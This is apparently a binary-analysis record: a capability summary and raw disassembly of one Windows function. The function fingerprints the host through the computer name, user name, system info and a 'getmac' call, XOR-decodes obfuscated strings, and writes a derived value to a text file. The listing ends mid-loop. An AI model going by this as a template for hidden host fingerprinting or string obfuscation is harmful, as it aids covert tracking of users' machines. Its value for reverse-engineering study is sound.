Function at 0x140003510
Capabilities:
Create process on windows
Encode data using xor
Encrypt data using speck
Enumerate processes
Execute command
Get hostname
Get session user name
Get system information on windows
Terminate process
Terminate process by name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2b10]
mov eax, 0x2c10
call fcn.140012460
sub rsp, rax
movaps xmmword [rsp + 0x2c00], xmm6
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rbp + 0x2af0], rax
xor ebx, ebx
mov dword [rsp + 0x44], ebx
mov dword [rsp + 0x50], ebx
mov dword [rbp + 0xd44], 0x12
lea rdx, [rbp + 0xd44]
lea rcx, [rbp + 0x2ac0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [rbp - 0x64], bl
lea rdx, [rbp + 0x810]
lea rcx, [rbp - 0x64]
call fcn.14000e740
mov r10, rax
mov edi, dword [0x140019090]
cmp byte [rax + 0x16], bl
jne 0x140003733
mov r8d, ebx
cmp edi, 2
jl 0x1400036ed
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400035e0
cmp r8d, 0x17
jge 0x140003733
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140003700
cmp byte [r10 + 0x16], bl
je 0x1400038d3
mov r8d, ebx
cmp edi, 2
jl 0x14000388d
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003780
cmp r8d, 0x17
jge 0x1400038d3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x1400038a0
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4a0
mov rcx, rax
lea rdx, [rbp + 0x2ac0]
call fcn.14000f4a0
mov rcx, rax
lea rdx, [0x140014a24]
call fcn.14000f4a0
mov rcx, rax
lea rdx, [0x14000f670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xd48], 0x12
lea rdx, [rbp + 0xd48]
lea rcx, [rbp + 0x2ad8]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [rbp - 0x66], bl
lea rdx, [rbp + 0xb00]
lea rcx, [rbp - 0x66]
call fcn.14000e770
mov r10, rax
cmp byte [rax + 0x24], bl
jne 0x140003ae3
mov r8d, ebx
cmp edi, 2
jl 0x140003a9d
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140003990
cmp r8d, 0x25
jge 0x140003ae3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140003ab0
cmp byte [r10 + 0x24], bl
je 0x140003c83
mov r8d, ebx
cmp edi, 2
jl 0x140003c3d
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140003b30
cmp r8d, 0x25
jge 0x140003c83
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140003c50
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4a0
mov rcx, rax
lea rdx, [rbp + 0x2ad8]
call fcn.14000f4a0
mov rcx, rax
lea rdx, [0x140014a24]
call fcn.14000f4a0
mov rcx, rax
lea rdx, [0x14000f670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x2ac0]
lea rcx, [rbp + 0x1418]
call fcn.14000eff0
nop
lea rcx, [rbp + 0x1418]
call fcn.14000ee00
mov r12d, ebx
mov dword [rsp + 0x50], ebx
lea esi, [rax - 1]
test esi, esi
js 0x140003d53
movsxd r14, esi
mov r15d, ebx
nop dword [rax]
nop dword [rax + rax]
mov edx, r15d
mov ecx, 0xa
call fcn.14000f6b0
movaps xmm6, xmm0
mov rdx, r14
lea rcx, [rbp + 0x1418]
call fcn.14000ee10
movsx ecx, byte [rax]
sub ecx, 0x30
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
mulsd xmm1, xmm6
movd xmm0, r12d
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
cvttsd2si r12d, xmm1
inc r15d
dec r14
sub esi, 1
jns 0x140003d00
mov dword [rsp + 0x50], r12d
lea rdx, [rbp + 0x2ad8]
lea rcx, [rbp + 0x1438]
call fcn.14000eff0
nop
lea rcx, [rbp + 0x1438]
call fcn.14000ee00
lea esi, [rax - 1]
test esi, esi
js 0x140003da7
movsxd r14, esi
mov r15d, ebx
mov edx, r15d
mov ecx, 0xa
call fcn.14000f6b0
mov rdx, r14
lea rcx, [rbp + 0x1438]
call fcn.14000ee10
inc r15d
dec r14
sub esi, 1
jns 0x140003d80
lea rdx, str.getmac
lea rcx, [rbp + 0x1698]
call fcn.14000eff0
nop
lea rdx, str.GuiKeyChoQuyen.txt
lea rcx, [rbp + 0x16b8]
call fcn.14000eff0
nop
lea r8, [0x140014a44]
lea rdx, [rbp + 0x1698]
lea rcx, [rbp + 0x6f0]
call fcn.14000f6d0
nop
lea r8, [rbp + 0x16b8]
mov rdx, rax
lea rcx, [rbp + 0x710]
call fcn.14000f800
mov rcx, rax
call fcn.140002d30
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x710]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x6f0]
call fcn.1400028c0
mov edx, 0x110
lea rcx, [rbp + 0xd80]
call fcn.140001840
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, str.GuiKeyChoQuyen.txt
lea rcx, [rbp + 0xd80]
call fcn.1400027b0
nop
mov rax, qword [rbp + 0xd80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xd80]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x140004202
lea rdx, [0x14000f670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rbp - 0x65], 0
lea rdx, [rbp + 0x9e8]
lea rcx, [rbp - 0x65]
call fcn.14000e7a0
mov r10, rax
cmp byte [rax + 0x20], 0
jne 0x140004043
mov r8d, ebx
cmp edi, 2
jl 0x140003fff
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140003ef2
cmp r8d, 0x21
jge 0x140004043
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140004010
cmp byte [r10 + 0x20], 0
je 0x1400041e3
mov r8d, ebx
cmp edi, 2
jl 0x14000419d
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140004090
cmp r8d, 0x21
jge 0x1400041e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400041b0
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4a0
mov rcx, rax
lea rdx, [0x14000f670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x1458]
call fcn.140002920
nop
lea rcx, [rbp + 0x1478]
call fcn.140002920
nop
lea rcx, [rbp + 0x1498]
call fcn.140002920
nop
lea rcx, [rbp + 0x14b8]
call fcn.140002920
nop
lea rcx, [rbp + 0x14d8]
call fcn.140002920
nop
lea rcx, [rbp + 0x14f8]
call fcn.140002920
nop
lea rcx, [rbp + 0x1518]
call fcn.140002920
nop
lea rcx, [rbp + 0x13f8]
call fcn.140002920
nop
lea rcx, [rbp + 0x1538]
call fcn.140002920
nop
lea rcx, [rbp + 0x1558]
call fcn.140002920
nop
lea rcx, [rbp + 0x1578]
call fcn.140002920
nop
lea rcx, [rbp + 0x13d8]
call fcn.140002920
nop
lea rcx, [rbp + 0x1798]
call fcn.140002920
nop
lea rcx, [rbp + 0x1778]
call fcn.140002920
nop
lea rcx, [rbp + 0x1758]
call fcn.140002920
nop
lea rcx, [rbp + 0x1738]
call fcn.140002920
nop
lea rcx, [rbp + 0x1718]
call fcn.140002920
nop
lea rcx, [rbp + 0x17d8]
call fcn.140002920
nop
lea rcx, [rbp + 0x17b8]
call fcn.140002920
nop
lea rcx, [rbp + 0x1818]
call fcn.140002920
nop
lea rcx, [rbp + 0x10d8]
call fcn.140002920
nop
mov rax, qword [rbp + 0xd80]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xd90], 1
jne 0x140004454
nop dword [rax]
lea rdx, [rbp + 0x10b1]
lea rcx, [rbp + 0xd80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
movzx edx, byte [rbp + 0x10b1]
lea rcx, [rbp + 0x10d8]
call fcn.14000ee30
inc ebx
cmp ebx, 0xaa
jne 0x14000436d
lea rcx, [rbp + 0x1458]
jmp 0x14000442f
cmp ebx, 0xa9
jne 0x140004381
lea rcx, [rbp + 0x1478]
jmp 0x14000442f
cmp ebx, 0xa7
jne 0x140004395
lea rcx, [rbp + 0x1498]
jmp 0x14000442f
cmp ebx, 0xa6
jne 0x1400043a9
lea rcx, [rbp + 0x14b8]
jmp 0x14000442f
cmp ebx, 0xa4
jne 0x1400043ba
lea rcx, [rbp + 0x14d8]
jmp 0x14000442f
cmp ebx, 0xa3
jne 0x1400043cb
lea rcx, [rbp + 0x14f8]
jmp 0x14000442f
cmp ebx, 0xa1
jne 0x1400043dc
lea rcx, [rbp + 0x1518]
jmp 0x14000442f
cmp ebx, 0xa0
jne 0x1400043ed
lea rcx, [rbp + 0x13f8]
jmp 0x14000442f
cmp ebx, 0xad
jne 0x1400043fe
lea rcx, [rbp + 0x1538]
jmp 0x14000442f
cmp ebx, 0xac
jne 0x14000440f
lea rcx, [rbp + 0x1558]
jmp 0x14000442f
cmp ebx, 0xb0
jne 0x140004420
lea rcx, [rbp + 0x1578]
jmp 0x14000442f
cmp ebx, 0xaf
jne 0x14000443b
lea rcx, [rbp + 0x13d8]
lea rdx, [rbp + 0x10d8]
call fcn.14000eed0
mov rax, qword [rbp + 0xd80]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xd90], 1
je 0x140004330
lea rcx, [rbp + 0xd80]
call fcn.1400026b0
lea rcx, [rbp + 0xd50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r13d, dword [rbp + 0xd50]
mov r12d, dword [rbp + 0xd70]
mov r15d, dword [rbp + 0xd54]
mov r14d, dword [rbp + 0xd74]
mov esi, dword [rbp + 0xd58]
mov edi, dword [rbp + 0xd60]
mov ebx, dword [rbp + 0xd68]
mov edx, 0x108
lea rcx, [rbp + 0x1a80]
call fcn.14000ebe0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.FB_QuyenGaBon.txt
lea rcx, [rbp + 0x1a80]
call fcn.14000ecf0
nop
add edi, ebx
add edi, esi
add edi, r14d
add edi, r15d
add edi, r12d
add edi, r13d
add edi, dword [rsp + 0x50]
mov edx, dword [rbp + 0xd48]
add edx, edi
add edx, dword [rbp + 0xd44]
lea rcx, [rbp + 0x1a80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rcx, [rbp + 0x1a80]
call fcn.14000ebf0
mov edx, 0x110
lea rcx, [rbp + 0xfa0]
call fcn.140001840
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, str.FB_QuyenGaBon.txt
lea rcx, [rbp + 0xfa0]
call fcn.1400027b0
nop
mov rax, qword [rbp + 0xfa0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xfa0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x1400048f2
lea rdx, [0x14000f670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rsp + 0x7b], 0
lea rdx, [rbp + 0x828]
lea rcx, [rsp + 0x7b]
call fcn.14000e7d0
mov rbx, rax
xor r8d, r8d
mov r9d, dword [0x140019090]
cmp byte [rax + 0x18], r8b
jne 0x140004733
mov r10d, r8d
cmp r9d, 2
jl 0x1400046ef
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, r10d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r10 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r10d, 8
lea rcx, [rcx + 8]
cmp r10d, 0x18
jl 0x1400045e2
cmp r10d, 0x19
jge 0x140004733
movsxd r11, r10d
add r11, rbx
nop word [rax + rax]
mov eax, 0x92492493
imul r10d
add edx, r10d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r10b
sub al, cl
add al, 0x32
xor byte [r11], al
inc r10d
lea r11, [r11 + 1]
cmp r10d, 0x19
jl 0x140004700
